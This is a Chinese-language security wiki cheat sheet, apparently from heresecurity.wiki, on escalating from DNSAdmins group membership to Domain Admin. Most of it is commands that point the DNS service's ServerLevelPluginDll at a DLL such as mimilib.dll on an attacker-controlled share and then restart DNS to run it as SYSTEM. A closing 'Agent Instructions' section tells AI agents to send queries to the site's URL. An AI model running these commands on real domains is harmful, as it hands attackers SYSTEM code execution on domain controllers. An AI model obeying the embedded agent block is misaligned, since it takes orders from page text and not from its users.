# DNS组到DomainAdmin

```
DNSAdmins 组的成员可以加载具有 dns.exe (SYSTEM) 权限的任意 DLL。
需要权限才能重新启动 DNS 服务。
枚举 DNSAdmins 组的成员
>Get-NetGroupMember -GroupName "DNSAdmins"
>Get-ADGroupMember -Identity DNSAdmins
更改 DNS 服务加载的 dll
使用RSAT
>dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
>dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
使用DNSServer模块
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
检查上一条命令是否成功
>Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
重新启动 DNS
>sc \\dc01 stop dns
>sc \\dc01 start dns
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-ti-sheng/windows-ti-quan/dns-zu-dao-domainadmin.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
